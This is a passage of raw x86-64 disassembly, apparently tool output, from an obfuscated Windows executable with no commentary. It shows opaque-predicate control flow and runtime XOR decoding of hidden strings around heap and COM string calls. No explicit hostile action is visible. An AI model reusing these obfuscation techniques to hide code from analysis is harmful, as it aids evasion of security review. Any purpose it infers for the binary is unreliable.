jb 0x140022840
test cx, cx
je 0x140022790
lea esi, [rcx - 1]
and esi, ecx
jmp 0x1400227ba
movdqa xmm0, xmmword [r13]
pmovmskb ecx, xmm0
add rbp, 0xfffffffffffffc80
add r13, 0x10
cmp ecx, 0xffff
je 0x140022790
mov eax, 0xfffffffe
sub eax, ecx
not ecx
mov esi, ecx
and esi, eax
tzcnt eax, ecx
neg rax
imul r14, rax, 0x38
add r14, rbp
add r14, 0xffffffffffffffe0
je 0x140022840
mov rcx, r14
lea rdx, [0x1400ffee0]
call fcn.140017e40
nop dword [rax]
test r12b, r12b
jne 0x1400227e0
mov cl, 1
mov dword [rsp + 0xf8], ecx
test al, al
jne 0x140022861
mov dword [rsp + 0x38], esi
nop word cs:[rax + rax]
mov eax, dword [0x141dc01e8]
and eax, dword [str.34K3]
imul esi, eax, 0xa9849539
mov rcx, r14
mov rdx, rbx
call fcn.140017e40
cmp esi, 0x487305ee
jne 0x140022760
mov rcx, r14
mov rdx, rbx
call fcn.140017e40
jmp 0x140022800
mov rax, qword [rsp + 0x100]
cmp rax, qword [rsp + 0xf0]
jne 0x14002272e
mov dword [rsp + 0xf8], 0
xor esi, esi
mov r13, qword [rsp + 0x118]
mov rdi, qword [rsp + 0x220]
nop word cs:[rax + rax]
lea rcx, [rsi + rsi*2]
shl rcx, 4
add rcx, r13
inc rsi
call fcn.14000d5a0
cmp rsi, rdi
jne 0x140022880
lea r14, [rsp + 0xd0]
mov rax, qword [rsp + 0x228]
test rax, rax
jne 0x1400228c6
jmp 0x140022966
mov dword [rsp + 0xf8], 0
test rax, rax
je 0x140022966
mov eax, dword [0x141dc01f0]
xor eax, dword [0x141dc01f4]
add eax, 0x4cb74d43
xor eax, 0x5ef6ffb7
imul eax, eax, 0x856f1fe5
cmp eax, 0x3edc4ec2
jbe 0x1400228f0
mov rax, qword [0x141dd7fe0]
mov eax, dword [0x141dc01f8]
and eax, dword [0x141dc01fc]
imul rax, rax, 0x39020d83
shr rax, 0x3d
xor eax, 0xe1eb9f77
mov rdi, qword [0x141dd7fe0]
cmp eax, 0x8c2c1687
jb 0x1400228f0
mov eax, dword [0x141dc0200]
or eax, dword [0x141dc0204]
cmp eax, 0x3a12993e
jne 0x140022940
mov rcx, rdi
xor edx, edx
mov r8, r13
call qword [sym.imp.KERNEL32.dll_HeapFree]
nop dword [rax + rax]
mov esi, dword [0x141dc0208]
imul esi, dword [str.__k]
add esi, 0x75975b15
mov rcx, rdi
xor edx, edx
mov r8, r13
call r15
cmp esi, 0xb77769fe
ja 0x140022940
mov eax, dword [0x141dc0210]
xor edx, edx
div dword [0x141dc0214]
imul eax, eax, 0xdf33b341
add eax, 0x60fe666
xor eax, 0x2f45a85a
cmp eax, 0x26df06fc
jae 0x140022999
mov rcx, qword [rsp + 0xd0]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov esi, 0xb6d9ff2d
nop
mov eax, dword [0x141dc0218]
xor edx, edx
div dword [0x141dc021c]
imul rax, rsi
shr rax, 0x3f
imul edi, eax, 0x38a1588b
xor edi, 0x2587e55d
mov rcx, qword [rsp + 0xd0]
mov rax, qword [rcx]
call qword [rax + 0x10]
cmp edi, 0x2e3d780c
ja 0x1400229a0
lea rsi, [0x141db6d68]
lea rdi, [rsp + 0x120]
nop word [rax + rax]
mov eax, dword [0x141dc0220]
and eax, dword [0x141dc0224]
imul rax, rax, 0x4cc9352d
shr rax, 0x3d
xor eax, 0xd7da660b
imul ebx, eax, 0x31449bd2
mov r8d, 0xa
mov rcx, rdi
mov rdx, rsi
call fcn.1400dd120
cmp ebx, 0xda6edf28
jne 0x140022a40
mov r8d, 0xa
mov rcx, rdi
mov rdx, rsi
call fcn.1400dd120
jmp 0x1400229f0
mov eax, dword [0x141dc0228]
add eax, dword [0x141dc022c]
and eax, 0x48010300
cmp eax, 0x98c27f4d
ja 0x140022a40
cmp byte [rsp + 0x120], 0x12
jne 0x140022bb0
mov rax, qword [rsp + 0x128]
mov qword [rsp + 0x1f0], rax
lea rax, [0x141db02cd]
mov qword [rsp + 0xd0], rax
mov rcx, qword [rsp + 0xd0]
movabs rax, 0x75c8fad929280cac
mov qword [rsp + 0xd0], rax
mov rdx, qword [rsp + 0xd0]
call fcn.140018970
movabs rcx, 0x1ab547d335f0a15e
xor rcx, qword [rax]
movabs rdx, 0x1a64a3c3fba0a074
xor rdx, qword [rax + 8]
movabs r8, 0xa1a95dd4d8c1d6d
xor r8, qword [rax + 0x10]
mov r9d, 0x4c82282d
xor r9d, dword [rax + 0x18]
movzx eax, word [rax + 0x1c]
mov r10d, eax
xor r10b, 0x2e
shr eax, 8
xor al, 0x11
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x50], r8
mov dword [rsp + 0x58], r9d
mov byte [rsp + 0x5c], r10b
mov byte [rsp + 0x5d], al
lea rcx, [rsp + 0x120]
lea rdx, [rsp + 0x1f0]
lea r8, [rsp + 0x40]
mov r9d, 0x1e
call fcn.140006f20
cmp byte [rsp + 0x120], 0x12
jne 0x140022b60
mov eax, dword [0x141dc0248]
or eax, dword [0x141dc024c]
or eax, 0xb0c8ec86
xor eax, 0x59e435d8
cmp eax, 0x48c42c0f
jb 0x140022dfd
jmp 0x140022da6
mov eax, dword [0x141dc02a8]
add eax, dword [0x141dc02ac]
or eax, 0x44c0d967
xor eax, 0xaf77548f
add eax, 0xf9c94bdf
ud2
mov eax, dword [0x141dc01e0]
and eax, dword [0x141dc01e4]
imul eax, eax, 0x77d8c59d
add eax, 0x96a3efc
cmp eax, 0x1104a88e
jb 0x1400225c9
jmp 0x14001ea28
mov eax, dword [0x141dc0230]
xor eax, dword [0x141dc0234]
and eax, 0x77a7f4ff
imul rax, rax, 0x6f25963b
shr rax, 0x3c
add eax, 0xc65de0b6
cmp eax, 0x15a9b20
jae 0x140022be0
ud2
mov eax, dword [0x141dc0238]
xor eax, dword [0x141dc023c]
xor eax, 0x34e477f4
imul eax, eax, 0xe32be182
ud2
mov eax, dword [str._r2]
sub eax, dword [0x141dbff74]
add eax, 0xff9cd05e
imul rsi, rax, 0x7855f19d
shr rsi, 0x3e
or esi, 0x2647e884
mov qword [rsp + 0x120], 0
lea rdx, [rsp + 0x120]
xor ecx, ecx
call qword [sym.imp.oleaut32.dll_GetErrorInfo]
cmp esi, 0xc22d542f
jbe 0x140022c86
mov qword [rsp + 0x120], 0
lea rdx, [rsp + 0x120]
xor ecx, ecx
call qword [sym.imp.oleaut32.dll_GetErrorInfo]
jmp 0x140022c22
mov rcx, qword [rsp + 0x120]
test rcx, rcx
je 0x140022c99
mov rax, qword [rcx]
call qword [rax + 0x10]
test r13, r13
je 0x140022d0b
mov eax, dword [0x141dbff78]
mov ecx, dword [0x141dbff7c]
add eax, ecx
add eax, 0x83b0ec33
xor eax, 0x8848c400
or eax, 0x74b323a8
cmp eax, 0xe98ab435
jae 0x140022ccb
mov rcx, r13
call qword [sym.imp.oleaut32.dll_SysFreeString]
mov rdi, qword [sym.imp.oleaut32.dll_SysFreeString]
nop word cs:[rax + rax]
mov esi, dword [0x141dbff80]
sub esi, dword [0x141dbff84]
and esi, 0xb441ddb6
add esi, 0xf1eba54a
xor esi, 0x65b25661
mov rcx, r13
call rdi
cmp esi, 0xb7ba8434
ja 0x140022ce0
test rbp, rbp
je 0x140022d20
mov rcx, rbp
call qword [sym.imp.oleaut32.dll_SysFreeString]
nop dword [rax]
mov eax, dword [0x141dbff88]
imul eax, dword [0x141dbff8c]
imul eax, eax, 0x3625eb54
shr eax, 1
imul rax, rax, 0x10cba21
shr rax, 0x37
or eax, 0x525f7882
cmp eax, 0x6f3fdfc2
ja 0x140022d20
test r12, r12
je 0x1400223d0
mov esi, 0xaafb5e3b
nop word [rax + rax]
mov edi, dword [0x141dbffb8]
sub edi, dword [0x141dbffbc]
imul rdi, rsi
shr rdi, 0x3d
add edi, 0x41b11887
mov rcx, qword [0x141dd7fe0]
xor edx, edx
mov r8, rbx
call r15
cmp edi, 0x3304505f
jae 0x1400223d0
mov rcx, qword [0x141dd7fe0]
xor edx, edx
mov r8, rbx
call r15
jmp 0x140022d60
mov eax, dword [0x141dc0250]
xor eax, dword [0x141dc0254]
imul rax, rax, 0x6d82f5d1
shr rax, 0x3e
xor eax, 0xfad38ead
mov r13, qword [rsp + 0x128]
mov rbx, qword [rsp + 0x130]
mov rbp, qword [rsp + 0x138]
lea rcx, [rbp*2]
add rcx, rbp
shl rcx, 4
add rcx, rbx
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x78], rcx
cmp eax, 0xdf70f9dd
jae 0x140022e24
mov rax, qword [rsp + 0x130]
mov rcx, qword [rsp + 0x138]
lea rcx, [rcx + rcx*2]
shl rcx, 4
add rcx, rax
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], rcx
jmp 0x140022da6
mov eax, dword [str.O____]
add eax, dword [0x141dc025c]
mov qword [rsp + 0x80], 0
xor eax, 0x2000044
and eax, 0x5201004c
cmp eax, 0x1f77d1d8
jae 0x140022e6b
mov qword [rsp + 0xa8], 0
lea rcx, [rsp + 0x120]
lea rdx, [rsp + 0x70]
call fcn.140001900
lea rdi, [rsp + 0x120]
lea rsi, [rsp + 0x70]
nop dword [rax + rax]
mov r14d, dword [0x141dc0260]
imul r14d, dword [0x141dc0264]
mov qword [rsp + 0xa8], 0
mov rcx, rdi
mov rdx, rsi
call fcn.140001900
cmp r14d, 0x1b2531bb
je 0x140022e80
movabs rax, 0x8000000000000000
cmp qword [rsp + 0x120], rax
jne 0x140022ed7
mov r14d, 8
xor eax, eax
mov qword [rsp + 0x38], rax
xor edi, edi
jmp 0x1400231cf
mov eax, dword [0x141dc0268]
and eax, dword [0x141dc026c]
and eax, 0x1a22812f
add eax, 0x6ff11f1e
and eax, 0xd3b10232
cmp eax, 0x81dcb87a
jbe 0x140022f10
movzx eax, byte [0x141dd7ff8]
mov edx, 0x60
xor ecx, ecx
call fcn.1400beea0
nop dword [rax]
mov edi, dword [0x141dc0270]
or edi, dword [0x141dc0274]
and edi, 0x623c76cc
xor edi, 0x2d957d83
add edi, 0x17cc4434
movzx eax, byte [0x141dd7ff8]
mov edx, 0x60
xor ecx, ecx
call fcn.1400beea0
cmp edi, 0xb7d85eac
ja 0x140022f10
mov r14, rax
test rax, rax
je 0x14001ea28
mov eax, dword [0x141dc0278]
xor eax, dword [0x141dc027c]
or eax, 0xad0a6704
xor eax, 0x206def05
add eax, 0x529dc6f3
cmp eax, 0x7107353b
jae 0x140022fa0
mov rax, qword [rsp + 0x130]
mov qword [r14 + 0x10], rax
movdqu xmm0, xmmword [rsp + 0x120]
movdqu xmmword [r14], xmm0
mov qword [rsp + 0xd0], 4
nop dword [rax]
mov eax, dword [0x141dc0280]
and eax, dword [0x141dc0284]
mov rcx, qword [rsp + 0x130]
mov qword [r14 + 0x10], rcx
add eax, 0x6ea37162
and eax, 0x4061b88a
movdqu xmm0, xmmword [rsp + 0x120]
movdqu xmmword [r14], xmm0
mov qword [rsp + 0xd0], 4
cmp eax, 0x2a4d8a4b
jb 0x140022fa0
mov qword [rsp + 0xd8], r14
mov qword [rsp + 0xe0], 1
movups xmm0, xmmword [rsp + 0xc0]
movaps xmmword [rsp + 0x170], xmm0
movups xmm0, xmmword [rsp + 0xb0]
movaps xmmword [rsp + 0x160], xmm0
movdqu xmm0, xmmword [rsp + 0x70]
movups xmm1, xmmword [rsp + 0x80]
movups xmm2, xmmword [rsp + 0x90]
movups xmm3, xmmword [rsp + 0xa0]
movaps xmmword [rsp + 0x150], xmm3
movaps xmmword [rsp + 0x140], xmm2
movaps xmmword [rsp + 0x130], xmm1
movdqa xmmword [rsp + 0x120], xmm0
mov edi, 1
lea rsi, [rsp + 0x40]
lea r12, [rsp + 0x120]
jmp 0x140023095
lea rax, [rdi + rdi*2]
mov rcx, qword [rsp + 0x50]
mov qword [r14 + rax*8 + 0x10], rcx
movdqu xmm0, xmmword [rsp + 0x40]
movdqu xmmword [r14 + rax*8], xmm0
inc rdi
mov qword [rsp + 0xe0], rdi
mov rcx, rsi
mov rdx, r12
call fcn.140001900
movabs rax, 0x8000000000000000
cmp qword [rsp + 0x40], rax
je 0x1400231ba
nop word cs:[rax + rax]
mov eax, dword [0x141dc0288]
add eax, dword [0x141dc028c]
imul eax, eax, 0xc7587993
imul rcx, rax, 0x1e1ff655
shr rcx, 0x20
sub eax, ecx
shr eax, 1
add eax, ecx
shr eax, 0x1e
or eax, 0xf0317724
cmp eax, 0xe990cf77
jb 0x1400230c0
mov rax, qword [rsp + 0xd0]
nop word [rax + rax]
mov ecx, dword [0x141dc0290]
or ecx, dword [0x141dc0294]
imul ecx, ecx, 0xde518214
cmp ecx, 0xcb72f7c8
je 0x140023100
cmp rdi, rax
jne 0x140023070
mov eax, dword [0x141dc0298]
xor edx, edx
div dword [str.b_5_bO]
imul eax, eax, 0x547bcfa7
cmp eax, 0x4ab45416
jne 0x140023163
mov qword [rsp + 0x20], 0x18
mov r8d, 1
mov r9d, 8
lea rcx, [rsp + 0xd0]
mov rdx, rdi
call fcn.1400faca0
mov qword [rsp + 0x20], 0x18
mov r8d, 1
mov r9d, 8
lea rcx, [rsp + 0xd0]
mov rdx, rdi
call fcn.1400faca0
mov r14, qword [rsp + 0xd8]
mov eax, dword [0x141dc02a0]
xor edx, edx
div dword [0x141dc02a4]
imul eax, eax, 0x6e14a826
xor eax, 0x75e111b9
add eax, 0x47b22dc6
cmp eax, 0xf0dc98ea
jb 0x140023190
jmp 0x140023070
mov rax, qword [rsp + 0xd0]
mov qword [rsp + 0x38], rax
mov r14, qword [rsp + 0xd8]
lea rax, [rdi + rdi*2]
lea rsi, [r14 + rax*8]
mov rax, r14
nop word [rax + rax]
mov rdx, rax
cmp rax, rsi
je 0x1400231ff
mov rcx, qword [rdx + 0x10]
cmp rcx, 0x80
je 0x1400231ff
lea rax, [rdx + 0x18]
cmp rcx, 0x40
jne 0x1400231e0
mov qword [rsp + 0x218], rdx
test rdi, rdi
je 0x14002325e
xor r12d, r12d
jmp 0x140023220
inc r12
cmp r12, rdi
je 0x14002325e
nop dword [rax]
mov eax, dword [0x141dc02b0]
or eax, dword [0x141dc02b4]
or eax, 0x2db3c972
add eax, 0x780badec
cmp eax, 0x246d08c5
jb 0x140023220
lea rax, [r12 + r12*2]
cmp qword [r14 + rax*8], 0
je 0x140023211
lea rax, [r14 + rax*8]
mov r8, qword [rax + 8]
mov rcx, qword [0x141dd7fe0]
xor edx, edx
call r15
jmp 0x140023211
cmp qword [rsp + 0x38], 0
je 0x1400232e3
mov rdi, qword [0x141dd7fe0]
nop dword [rax]
mov r12d, dword [0x141dc02b8]
sub r12d, dword [0x141dc02bc]
add r12d, 0x3b1346c7
and r12d, 0x2be18832
add r12d, 0x580b7b52
mov rcx, rdi
xor edx, edx
mov r8, r14
call r15
cmp r12d, 0xd3f235c1
jbe 0x1400232b4
mov rcx, rdi
xor edx, edx
mov r8, r14
call r15
jmp 0x140023270
mov eax, 0x9fd8ee53
nop dword [rax]
mov ecx, dword [0x141dc02c0]
imul ecx, dword [0x141dc02c4]
imul rcx, rax
shr rcx, 0x3f
add ecx, 0x66c8e28b
cmp ecx, 0x50a45dde
jb 0x1400232c0
test rbp, rbp
je 0x140023355
xor r14d, r14d
mov rdi, rbx
jmp 0x1400232fc
add rdi, 0x30
inc r14
dec rbp
je 0x140023355
mov eax, dword [0x141dc02c8]
add eax, dword [0x141dc02cc]
or eax, 0x14000413
xor eax, 0x2a202700
or eax, 0xc1d2d8cc
cmp eax, 0xe23dac13
ja 0x14002334b
nop
mov eax, dword [0x141dc02d0]
or eax, dword [0x141dc02d4]
imul r15d, eax, 0x59b38320
or r15d, 0xbff34480
mov rcx, rdi
call fcn.14000d5a0
cmp r15d, 0xf5b9a871
jbe 0x1400232f0
mov rcx, rdi
call fcn.14000d5a0
jmp 0x140023320
test r13, r13
je 0x14002336c
mov rcx, qword [0x141dd7fe0]
xor edx, edx
mov r8, rbx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov qword [rsp + 0x220], rsi
mov rcx, qword [rsp + 0x1f0]
mov rax, qword [rcx]
call qword [rax + 0x10]
lea rdx, [0x141db6d68]
lea rcx, [rsp + 0x120]
mov r8d, 0xa
call fcn.1400dd120
cmp byte [rsp + 0x120], 0x12
jne 0x14001ea28
mov rax, qword [rsp + 0x128]
mov qword [rsp + 0x40], rax
lea rax, [0x141da2c49]
mov qword [rsp + 0x70], rax
lea r12, [rsp + 0x70]
mov rcx, qword [rsp + 0x70]
movabs rax, 0xce61db0488e4ac61
mov qword [rsp + 0x70], rax
mov rdx, qword [rsp + 0x70]
call fcn.14001be40
mov rdi, rax
movabs r14, 0x26cb94c73b6f670
xor r14, qword [rax]
mov rax, qword [rax + 8]
movabs r15, 0xd9f2e7193deb0e2e
xor r15, rax
mov ebp, 0x12693661
lea rbx, [rsp + 0x120]
lea rdx, [rsp + 0x40]
nop dword [rax]
mov eax, dword [str._bl_n]
add eax, dword [0x141dc02dc]
xor eax, 0x625ff66c
imul r13, rax, 0x3f742aad
shr r13, 0x3d
add r13d, 0xe69dbccf
mov rax, qword [rdi + 0x10]
movabs rcx, 0x3b35fc1a272137b1
xor rax, rcx
mov ecx, dword [rdi + 0x18]
xor ecx, ebp
movzx r10d, byte [rdi + 0x1e]
movzx r8d, word [rdi + 0x1c]
mov r9d, r8d
shr r9d, 8
xor r8b, 0x53
xor r9b, 0x8a
xor r10b, 4
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], r15
mov qword [rsp + 0x80], rax
mov dword [rsp + 0x88], ecx
mov byte [rsp + 0x8c], r8b
mov byte [rsp + 0x8d], r9b
mov byte [rsp + 0x8e], r10b
mov r9d, 0x1f
mov rcx, rbx
mov r8, r12
mov rsi, rdx
call fcn.140006f20
cmp r13d, 0xac2163aa
jae 0x140023541
mov rax, qword [rdi + 0x10]
movabs rcx, 0x3b35fc1a272137b1
xor rax, rcx
mov ecx, dword [rdi + 0x18]
xor ecx, ebp
movzx edx, byte [rdi + 0x1e]
movzx r8d, word [rdi + 0x1c]
mov r9d, r8d
shr r9d, 8
xor r8b, 0x53
xor r9b, 0x8a
xor dl, 4
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], r15
mov qword [rsp + 0x80], rax
mov dword [rsp + 0x88], ecx
mov byte [rsp + 0x8c], r8b
mov byte [rsp + 0x8d], r9b
mov byte [rsp + 0x8e], dl
mov r9d, 0x1f
mov rcx, rbx
mov rdx, rsi
mov r8, r12
call fcn.140006f20
mov rdx, rsi
jmp 0x140023420
cmp byte [rsp + 0x120], 0x12
jne 0x1400225c9
mov eax, dword [0x141dc02e0]
imul eax, dword [0x141dc02e4]
imul eax, eax, 0x6f836ee4
or eax, 0xd66710c9
add eax, 0x2488319e
cmp eax, 0x3929d58b
mov rbx, qword [rsp + 0x128]
mov rsi, qword [rsp + 0x130]
mov r15, qword [rsp + 0x138]
nop dword [rax]
mov eax, dword [0x141dc02e8]
xor eax, dword [0x141dc02ec]
add eax, 0xd93f3ca2
cmp eax, 0x648de5d
jb 0x140023590
test r15, r15
je 0x1400235e0
mov rdi, rsi
mov r14, r15
nop word cs:[rax + rax]
mov rcx, rdi
call fcn.14000d5a0
add rdi, 0x30
dec r14
jne 0x1400235c0
nop word cs:[rax + rax]
mov eax, dword [0x141dc02f0]
add eax, dword [0x141dc02f4]
imul eax, eax, 0xa515814c
cmp eax, 0x65ae585
jb 0x1400235e0
test rbx, rbx
je 0x14002363e
mov rdi, qword [0x141dd7fe0]
mov eax, dword [0x141dc02f8]
sub eax, dword [0x141dc02fc]
add eax, 0xfc20cd1b
xor eax, 0xf305d42d
cmp eax, 0x5170878e
jae 0x140023630
mov rcx, rdi
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, rdi
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rsp + 0x40]
mov rax, qword [rcx]
call qword [rax + 0x10]
lea rsi, [rsp + 0x120]
mov rcx, rsi
call fcn.1400d96f0
mov rcx, rsi
call fcn.1400d9f80
mov rbx, qword [rsp + 0x190]
mov rcx, rsi
call fcn.14000fa20
lea rsi, [rsp + 0x120]
mov rcx, rsi
call fcn.1400d96f0
mov rcx, rsi
call fcn.1400d9f80
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
mov rdi, rax
mov rcx, rsi
call fcn.14000fa20
lea rdx, [0x141db6d68]
lea rsi, [rsp + 0x120]
mov r8d, 0xa
mov rcx, rsi
call fcn.1400dd120
cmp byte [rsp + 0x120], 0x12
jne 0x1400225c9
mov rax, qword [rsp + 0x128]
mov qword [rsp + 0x268], rax
lea rax, [0x141dad540]
mov qword [rsp + 0x120], rax
mov rcx, qword [rsp + 0x120]
movabs rax, 0x5ef731c953b7bdbd
mov qword [rsp + 0x120], rax
mov rdx, qword [rsp + 0x120]
call fcn.140019040
movabs rcx, 0x82ce809100365393
xor rcx, qword [rax]
movabs rdx, 0x4e4f32d8094db61f
xor rdx, qword [rax + 8]
movabs r8, 0x1c5ee0f7aa98bc92
xor r8, qword [rax + 0x10]
movabs r9, 0xa65d8ff2c84c7a37
xor r9, qword [rax + 0x18]
mov r10d, 0xe3db4043
xor r10d, dword [rax + 0x20]
movzx eax, word [rax + 0x24]
mov r11d, eax
xor r11b, 0xea
shr eax, 8
xor al, 0xd0
mov qword [rsp + 0x120], rcx
mov qword [rsp + 0x128], rdx
mov qword [rsp + 0x130], r8
mov qword [rsp + 0x138], r9
mov dword [rsp + 0x140], r10d
mov byte [rsp + 0x144], r11b
mov byte [rsp + 0x145], al
lea r12, [rsp + 0x70]
lea rdx, [rsp + 0x268]
lea r8, [rsp + 0x120]
mov r9d, 0x26
mov rcx, r12
call fcn.140006f20
cmp byte [rsp + 0x70], 0x12
jne 0x14002416a
mov qword [rsp + 0x250], r15
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x230], rax
mov rcx, qword [rsp + 0x80]
mov rax, qword [rsp + 0x88]
lea r8, [rax + rax*2]
shl r8, 4
lea rdx, [rcx + r8]
mov qword [rsp + 0x100], rdx
mov rsi, rcx
test rax, rax
mov qword [rsp + 0x238], rdi
mov qword [rsp + 0x248], rbx
mov qword [rsp + 0x240], rcx
je 0x140023f7d
nop
mov eax, dword [0x141dc0328]
sub eax, dword [0x141dc032c]
imul eax, eax, 0x7042dea4
add eax, 0x4f0c9494
or eax, 0x3fafaabb
cmp eax, 0xeeb4dfd0
jb 0x140023820
nop word cs:[rax + rax]
mov eax, dword [0x141dc0330]
or eax, dword [0x141dc0334]
or eax, 0x94872aef
add eax, 0xa2013d07
and eax, 0xc3999976
cmp eax, 0x47bf34f6
jb 0x140023850
add r8, 0xffffffffffffffd0
lea rbp, [rcx + 0x30]
lea rbx, [rsp + 0x120]
mov r15d, 0xb04393b5
lea r14, [0x141da4b65]
mov rax, rcx
nop word cs:[rax + rax]
mov ecx, dword [0x141dc0340]
or ecx, dword [0x141dc0344]
imul ecx, ecx, 0x3bc7c6a4
cmp ecx, 0xd4d77b40
je 0x1400238a0
lea rsi, [rax + 0x30]
mov rcx, qword [rax]
test rcx, rcx
je 0x140023f7d
mov qword [rsp + 0x38], r8
mov qword [rsp + 0x120], rcx
mov rcx, qword [rax + 0x28]
lea rdx, [rsp + 0x128]
mov qword [rdx + 0x20], rcx
movdqu xmm0, xmmword [rax + 8]
movups xmm1, xmmword [rax + 0x18]
movups xmmword [rdx + 0x10], xmm1
movdqu xmmword [rdx], xmm0
lea rax, [0x141da8462]
mov qword [rsp + 0x70], rax
mov rcx, qword [rsp + 0x70]
movabs rax, 0x4d8eb32cbe97681
mov qword [rsp + 0x70], rax
mov rdx, qword [rsp + 0x70]
call fcn.14001bbd0
mov eax, dword [rax]
mov ecx, 0x21875979
xor eax, ecx
mov dword [rsp + 0xd0], eax
mov r8d, 4
mov rcx, rbx
lea rdx, [rsp + 0xd0]
call fcn.14001e060
test rax, rax
je 0x140023ed0
cmp byte [rax + 0x18], 2
jne 0x140023ed0
mov rcx, qword [rax + 0x28]
mov qword [rsp + 0xf0], rcx
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x118], rax
movabs rdi, 0x94924f537a3d8427
nop dword [rax]
mov r13d, dword [0x141dc0360]
and r13d, dword [0x141dc0364]
and r13d, 0x1088000
or r13d, 0xdea67df6
xor r13d, 0xb74b1952
mov qword [rsp + 0x70], r14
mov rcx, qword [rsp + 0x70]
mov qword [rsp + 0x70], rdi
mov rdx, qword [rsp + 0x70]
call fcn.14001b620
mov ecx, dword [rax]
mov edx, 0xe9b42e33
xor ecx, edx
cmp r13d, 0x88dafd3e
jbe 0x1400239eb
mov qword [rsp + 0x70], r14
mov rcx, qword [rsp + 0x70]
mov qword [rsp + 0x70], rdi
mov rdx, qword [rsp + 0x70]
call fcn.14001b620
mov eax, dword [rax]
jmp 0x140023980
movzx edx, byte [rax + 6]
movzx eax, word [rax + 4]
mov r8d, eax
shr r8d, 8
xor al, 0x4a
xor r8b, 0x79
xor dl, 0x3d
movzx edx, dl
mov byte [rsp + 0x76], dl
shl rdx, 0x30
movzx r8d, r8b
shl r8, 0x28
or r8, rdx
movzx eax, al
shl rax, 0x20
or rax, r8
mov dword [rsp + 0x70], ecx
shr rax, 0x20
mov word [rsp + 0x74], ax
mov edx, 7
mov rcx, r12
mov r14, qword [rsp + 0xf0]
mov r8, r14
mov r15, qword [rsp + 0x118]
mov r9, r15
call fcn.140011c90
test al, al
movabs rdi, 0xb5af78fbc29bd7ac
jne 0x1400240fe
lea rax, [0x141dae67d]
mov qword [rsp + 0x70], rax
mov rcx, qword [rsp + 0x70]
movabs rax, 0x73a3b2f08ec37f4
mov qword [rsp + 0x70], rax
mov rdx, qword [rsp + 0x70]
call fcn.14001b340
mov ecx, dword [rax]
mov edx, 0xe1dd4450
xor rcx, rdx
movzx eax, word [rax + 4]
mov edx, eax
xor dl, 0x9b
shr eax, 8
xor al, 0x7f
movzx eax, al
shl rax, 0x28
movzx edx, dl
shl rdx, 0x20
or rdx, rax
mov dword [rsp + 0x70], ecx
shr rdx, 0x20
mov word [rsp + 0x74], dx
mov edx, 6
mov rcx, r12
mov r8, r14
mov r9, r15
call fcn.140011c90
test al, al
jne 0x1400240fe
mov qword [rsp + 0x228], rbp
mov r15, rdi
lea rdi, [rsp + 0x40]
movabs r14, 0x53a93ffbd361cdbd
mov r12d, 0xb02f6617
lea rbp, [0x141da49b1]
nop word [rax + rax]
mov r13d, dword [0x141dc0368]
imul r13d, dword [0x141dc036c]
imul r13, r12
shr r13, 0x3f
or r13d, 0x62162944
xor r13d, 0x1ca93b20
mov qword [rsp + 0x40], rbp
mov rcx, qword [rsp + 0x40]
mov qword [rsp + 0x40], r14
mov rdx, qword [rsp + 0x40]
call fcn.14001b120
mov rcx, qword [rax]
xor rcx, r15
movzx eax, word [rax + 8]
mov edx, eax
xor dl, 0xc3
mov qword [rsp + 0x70], rcx
mov byte [rsp + 0x78], dl
cmp r13d, 0x52abc9c8
jb 0x140023b10
shr eax, 8
xor al, 0x81
mov byte [rsp + 0x79], al
mov edx, 0xa
lea r12, [rsp + 0x70]
mov rcx, r12
mov r14, qword [rsp + 0xf0]
mov r8, r14
mov r13, qword [rsp + 0x118]
mov r9, r13
call fcn.140011c90
test al, al
movabs rdi, 0xdc92af07fd2c8523
mov rbp, qword [rsp + 0x228]
mov r15d, 0xb04393b5
jne 0x1400240fe
mov eax, dword [0x141dc0370]
xor edx, edx
div dword [0x141dc0374]
imul eax, eax, 0x4f706fd6
add eax, 0xb6de8ad6
xor eax, 0x4cf698d3
cmp eax, 0x9ab8b057
lea rcx, [0x141da5a21]
jae 0x140023c00
mov qword [rsp + 0x70], rcx
nop word cs:[rax + rax]
mov eax, dword [0x141dc0378]
or eax, dword [0x141dc037c]
add eax, 0xe4f33c9
xor eax, 0xea244808
or eax, 0x14db36e4
mov qword [rsp + 0x70], rcx
cmp eax, 0x9a02775e
ja 0x140023c00
mov rcx, qword [rsp + 0x70]
movabs rax, 0x2d716f3c95f538ef
mov qword [rsp + 0x70], rax
mov rdx, qword [rsp + 0x70]
call fcn.140018f00
mov eax, dword [rax]
mov ecx, 0x8b15a7e4
xor eax, ecx
mov dword [rsp + 0x70], eax
mov edx, 4
mov rcx, r12
mov r8, r14
mov r9, r13
call fcn.140011c90
test al, al
jne 0x1400240fe
lea rax, [0x141da64d6]
mov qword [rsp + 0x40], rax
lea rdx, [rsp + 0x40]
mov eax, dword [0x141dc0380]
and eax, dword [0x141dc0384]
cmp eax, 0x6ab8ce6b
jne 0x140023cc9
mov rcx, qword [rsp + 0x40]
movabs rax, 0xff8dd1cfc291cc8c
mov qword [rsp + 0x40], rax
mov rdx, qword [rsp + 0x40]
call fcn.14001aac0
lea rdx, [rsp + 0x40]
mov rcx, qword [rax]
xor rcx, rdi
movzx eax, byte [rax + 8]
xor al, 0x7e
mov qword [rsp + 0x70], rcx
mov byte [rsp + 0x78], al
mov r14, rdi
movabs rdi, 0xff8dd1cfc291cc8c
nop word cs:[rax + rax]
mov eax, dword [0x141dc0388]
or eax, dword [0x141dc038c]
add eax, 0xdd0a4ade
and eax, 0x332efa84
imul r13d, eax, 0x3a3a8b1c
mov rcx, qword [rsp + 0x40]
mov qword [rsp + 0x40], rdi
mov rdx, qword [rsp + 0x40]
call fcn.14001aac0
lea rdx, [rsp + 0x40]
mov rcx, qword [rax]
xor rcx, r14
movzx eax, byte [rax + 8]
xor al, 0x7e
mov qword [rsp + 0x70], rcx
mov byte [rsp + 0x78], al
cmp r13d, 0x495a003c
jb 0x140023ce0
